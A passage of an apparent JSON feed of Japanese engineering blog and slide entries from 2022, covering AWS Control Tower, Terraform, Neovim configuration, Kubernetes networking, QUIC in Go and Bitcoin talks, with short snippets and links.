ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS3へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは2段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応!Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"インシデント対応しながら書くポストモーテム","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて,書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは,例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego で既存の秘密鍵を使って証明書を発行する","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行は","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"セキュア・バイ・デザインの鳴くところ","contentSnippet":"セキュア・バイ・デザインの鳴くところ\\r安全なソフトウェアを全体から考えるみるで候\\r\\rOWASP Fukuoka Meeting #9\\rhttps://owasp-kyushu.connpass.com/event/266585/\\r\\r副読ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私のzshrcの推しポイント","contentSnippet":"私のzshrcの推しポイントを簡単にまとめておくzshrcはGitHubで管理しているので、推しポイントへのリンクも適宜掲載しておくプロンプトhttps://github.com/atusy/dotfiles/blob/c654f90e8ec9ebbc18543d8f0349f7f8202f20c0/dot_zshrc#L20-L36","link":"https://blog.atusy.net/2022/12/07/zshrc2022/","isoDate":"2022-12-07T00:00:00.000Z","dateMiliSeconds":1670371200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"社会に蔓延る労苦〈Toil〉をなくす(株式会社スリーシェイク入社エントリ)","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","contentSnippet":"Kubernetes クラスタで Prometheus を導入し,ServiceMonitor を作って監視対象を定義したところ,一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で,Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","link":"https://zenn.dev/toshikish/articles/70424038397d6d","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Osaka.Rで朝もくを続けて2年8ヶ月くらいになった","contentSnippet":"本記事は2022/12/04のR言語アドベントカレンダーの記事です。https://qiita.com/advent-calendar/2022/rlang12/03はyutannihilationさんによる「dplyr 1.1.0からはgroup_by()の代わりに.by引数が使えるらしいという話」でした。","link":"https://blog.atusy.net/2022/12/04/osakar-asa-moku/","isoDate":"2022-12-04T00:00:00.000Z","dateMiliSeconds":1670112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は,基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで,リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで,その tfstate ファイル内の全リソースを取...","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"styler.nvimでアクティブなウィンドウか否かでカラースキームを変える","contentSnippet":"本記事の改訂版が出ていますhttps://blog.atusy.net/2022/12/17/styler-nvim-active-win/先日はstyler.nvimを使ってバッファが作業ディレクトリに属すか否かで適用するカラースキームを変えました。styler.nvimを使うとバッファごとにcolorschemeを変えられて便利今回はウィンドウがアクティブか否かで適用するカラースキームを変えてみます。似た用途でtint.nvimを使うと、非アクティブなウィンドウのコントラストを抑えられます。しかし、styler.nvimと干渉するのと、コントラストを落としたせいで視認性に乏しくなるおそれがあります。styler.nvimだけ使えば干渉の心配はなくなりますし、人気なカラースキームを使えば低コントラストでも十分な視認性が期待できます。特にnightfox.nvimが提供する高コントラストなduskfoxと低コントラストなnordfoxは文字の色合いが似ていることもあり、相性がよく、今回試してみました。また、styler.nvimはウィンドウローカルなカラースキームを実現するもので、cmdlineやウィンドウ境界はターゲットとしていません。こういったその他の部分やfloatwinにはcatppuccinを採用してみました。--[[# Change colorschemes by active/inactive windowsThis is a simplified version, and may cause performance issue if so many windows are open.## Requirements:- nvim >= 0.8- plugins - folke/styler.nvim - catppuccin/nvim - EdenEast/nightfox.nvim]]-- settings-- ACTIVE_COLORSCHEME and INACTIVE_COLORSCHEME must be colorschemes using `nvim_set_hl`BASE_COLORSCHEME = \'catppuccin-mocha\'ACTIVE_COLORSCHEME = \'duskfox\'INACTIVE_COLORSCHEME = \'nordfox\'-- Apply colorschemevim.cmd(\\"colorscheme \\" .. BASE_COLORSCHEME)-- Create autocmd to apply styler.nvim on active/inactive windowsnvim.api.nvim_create_autocmd( { \'WinEnter\', \'BufEnter\' }, { group = nvim.api.nvim_create_augroup(\'theme-custom\', {}), callback = function(_) local set_theme = require(\'styler\').set_theme local win = nvim.api.nvim_get_current_win() -- use default colorscheme instead of applying styler.nvim on floatwin -- because some UIs are composed of multiple windows and they should share the theme if api.nvim_win_get_config(win).relative ~= \\"\\" then return end -- apply styler.nvim on active window set_theme(win, { colorscheme = ACTIVE_COLORSCHEME }) -- apply styler.nvim on inactive windows for _, w in pairs(api.nvim_tabpage_list_wins(0)) do if w ~= win then set_theme(w, { colorscheme = INACTIVE_COLORSCHEME }) end end end })ENJOY!!","link":"https://blog.atusy.net/2022/11/25/styler-nvim-dim-inactive-windows/","isoDate":"2022-11-25T00:00:00.000Z","dateMiliSeconds":1669334400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"styler.nvimを使うとバッファごとにcolorschemeを変えられて便利","contentSnippet":"This Week in Neovimという、週次でNeovim関係のニュースを届けてくれるウェブサイトの21 Nov 2022号で、プラグインのfolke/styler.nvimが紹介されていました。このプラグインの目的は、READMEにある通り、ファイルタイプごとのカラースキーム設定です。","link":"https://blog.atusy.net/2022/11/23/styler-nvim/","isoDate":"2022-11-23T00:00:00.000Z","dateMiliSeconds":1669161600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","link":"https://zenn.dev/bells17/articles/docker-buildx","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"RPM の install, uninstall 時に実行される script の確認","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp","link":"https://blog.1q77.com/2022/11/rpm-scripts/","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合,通常は OR で評価されます。例えば,以下の StringEquals 条件の例では,aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか?例えば以下のポリシーで aws:Principal...","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2022年10月のふりかえり、まとめ","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"telescope.nvimで作る簡易コマンドパレット(VSCodeのCtrl + Shift + Pっぽいの)","contentSnippet":"telescope.nvimはキーマップ、Exコマンド、ファイルなどを検索・活用するためのNeovim用プラグインです。この内、キーマップ(:Telescope keymaps)の主な用途は忘れてしまったマッピングの検索でしょう。実は、系のマッピングを実際のキー入力にアサインせずとも使えるので、滅多に使わない機能へ簡単にアクセスする方法として便利です。","link":"https://blog.atusy.net/2022/11/03/telescope-as-command-pallete/","isoDate":"2022-11-03T00:00:00.000Z","dateMiliSeconds":1667433600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ビットコイン・ブロックチェーン概論","contentSnippet":"Open Source Conference 2022 Online Fallの発表に使用した資料です。\\r↓セミナー情報\\rhttps://event.ospn.jp/osc2022-online-fall/session/685055\\r↓日本暗号通貨ユーザ会のページ\\rhttps://cryptocurrency.connpass.com/","link":"https://speakerdeck.com/shukob/bitutokoinburotukutiengai-lun","isoDate":"2022-10-29T04:00:00.000Z","dateMiliSeconds":1667016000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile(CoreDNS の設定ファイル)で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: cor...","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Bitcoinナカモト論文補足資料","contentSnippet":"https://cryptocurrency.connpass.com/event/262938/\\rビットコインとか勉強会#70《Bitcoinナカモト論文》【暗号通貨読書会#46】 の補足資料です。","link":"https://speakerdeck.com/shukob/bitcoinnakamotolun-wen-bu-zu-zi-liao","isoDate":"2022-10-28T04:00:00.000Z","dateMiliSeconds":1666929600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Luaフィルタで表現力を手に入れろ","contentSnippet":"作例と共にLuaフィルタとLuaの文法について紹介。Tokyo.R 102の資料で主にRユーザーを対象としているが、Pandocユーザーにも参考になるはず。","link":"https://blog.atusy.net/2022/10/22/lua-filter-for-r-users/","isoDate":"2022-10-22T00:00:00.000Z","dateMiliSeconds":1666396800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"controller-runtime Deep Dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\\r\\rセッション動画はこちらです。\\rhttps://youtu.be/jCyt993dzaU\\r\\r以下スライドで紹介しているリンク:\\r\\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \\rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \\raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \\rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \\rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \\rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \\rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \\rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \\rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \\rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \\r\\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \\rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \\rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \\rmoco(MySQL Operator): https://github.com/cybozu-go/moco \\rlogging-operator: https://github.com/banzaicloud/logging-operator \\ristio(Service Mesh): https://github.com/istio/istio","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも,upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば,以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"golangで作るQUICプロトコル(HTTP3リクエストの送信と受信)","contentSnippet":"はじめに前回までの記事でQUICプロトコル上でTLS1.3のハンドシェイクが完了しました。TLS1.3のハンドシェイクが完了したということは、Application Data=HTTPとかをサーバとやり取りできるということになります。今回はサーバにHTTP3のリクエストを送り、メッセージを受信してみます。ソースは以下にあります。https://github.com/sat0ken/go-quic HTTP2とHTTP3HTTP2からストリームとフレームという仕組みが用いられて、1つのTCPコネクションがストリームとなり、ストリーム内で複数のフレームがHTTPヘッダや...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol3","isoDate":"2022-09-04T04:06:32.000Z","dateMiliSeconds":1662264392000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(TLS1.3 ハンドシェイクの終了まで)","contentSnippet":"はじめに前回の記事まででInitial Packetを生成してサーバに送信しました。今回の記事はその続きとなり、サーバからのパケットをパースしてHandshake Packetを送信するところまで解説したいと思います。ソースコードは以下にあります。https://github.com/sat0ken/go-quic Retry Packetの受信→Initial Packetの送信quic-goのサーバにInitial Packetを送信すると、Retry Packetが返ってきます。このへんはサーバの実装により異なってくるのですが、quic-goはそういう実装になっ...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol2","isoDate":"2022-08-27T16:50:00.000Z","dateMiliSeconds":1661619000000,"authorName":"satoken","authorId":"satoken"},{"title":"controller-runtime clientについて","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","link":"https://zenn.dev/bells17/articles/controller-runtime-client","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(Initial Packetの送信まで)","contentSnippet":"はじめについ最近HTTP3のRFC9114として正式に発行されました。HTTP3はQUICプロトコル上で実装されているものです。HTTP3はGoogleのTOPページなど既に日常的に使われています。業務でQUICやHTTP3でコードを書くことはまだあまりないと思いますが、まぁいずれそういう時代もくるでしょう。そういう時が来たときにあたふたするわけにはいかないので、今回はQUICとHTTP3プロトコルスタックを実装して学んでみることにします。今回のルールとゴールです。udpパケットの送信と受信にnetパッケージを使用するTLSは自分で実装したものを使用、crypto/...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol","isoDate":"2022-08-24T23:10:48.000Z","dateMiliSeconds":1661382648000,"authorName":"satoken","authorId":"satoken"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"Ethereum The Merge 〜これからのフルノード運用〜","contentSnippet":"The MergeでEthereumのフルノード運用がどう変わるのか、廃止になるTestnetは何かなどをLTでお話ししました。\\rhttps://cryptocurrency.connpass.com/event/256526/","link":"https://speakerdeck.com/shukob/ethereum-the-merge-korekarafalsehurufalsedoyun-yong","isoDate":"2022-08-14T04:00:00.000Z","dateMiliSeconds":1660449600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"felpパッケージでRのヘルプをあいまいに検索しよう","contentSnippet":"Rでヘルプを見ようにも記憶があいまいだったり、つづりがあやふやで調べようがない経験があるかもしれません。tidyverseに入ってるなんちゃらパッケージのミュータントみたいな関数、なんだっけ?geom_limeとかgeom_pintってライムもビールも欲しいけどそうやないんや!1そこで、あいまいな(fuzzy)キーワードでヘルプを検索するfuzzyhelp関数をfelpパッケージに追加しました。","link":"https://blog.atusy.net/2022/08/13/felp-fuzzyhelp/","isoDate":"2022-08-13T00:00:00.000Z","dateMiliSeconds":1660348800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vim/NeovimのCTRL_GをPrefixにしてみる","contentSnippet":"CTRL_Gの機能はステータスラインで賄えるのでGit用のPrefixにしてみました","link":"https://blog.atusy.net/2022/08/08/ctrlg-as-prefix-vim/","isoDate":"2022-08-08T00:00:00.000Z","dateMiliSeconds":1659916800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fuzzy Finderで捗るFernによるファイル操作","contentSnippet":"FernはVim/Neovim向けのファイラーで、外部依存がなくパフォーマンスも良好なので、好んで使っています。また、ファイラーらしく、ファイル操作などの機能を種々揃えており、「action」と呼んでいます。Fernの画面上でaを押すと、コマンドラインモードでアクションを指定でき、設定してあればタブ補完も効くようです。作者は、ユーザーがキーマッピングを覚えなくて良い点を魅力に挙げています。","link":"https://blog.atusy.net/2022/08/05/fuzzyfern/","isoDate":"2022-08-05T00:00:00.000Z","dateMiliSeconds":1659657600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SRETT#4黒い画面をもっと効率的に(使って自動化の時間を捻出)","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/srett-number-4hei-ihua-mian-womotutoxiao-lu-de-ni-shi-tutezi-dong-hua-falseshi-jian-wonian-chu","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"cobra は便利になっている","contentSnippet":"2022年3-shake SRE Tech Talk #4\\rhttps://3-shake.connpass.com/event/253028/","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nvim-treehopperで捗るコードの折り畳み","contentSnippet":"nvim-treehopperを使うと、ソースコードの抽象構文木に基づいた範囲選択が簡単にできます。関数定義全体を選択とか、if文の条件部分を選択とか、文脈に沿った範囲選択が捗るわけです。おそらく、定番の使い道は選択範囲の削除(d | D)やヤンク(y | Y)でしょう。加えてコードの折り畳み(zf)とも相性が良いとに気付きました。","link":"https://blog.atusy.net/2022/08/01/treehopper/","isoDate":"2022-08-01T00:00:00.000Z","dateMiliSeconds":1659312000000,"authorName":"Atsushi 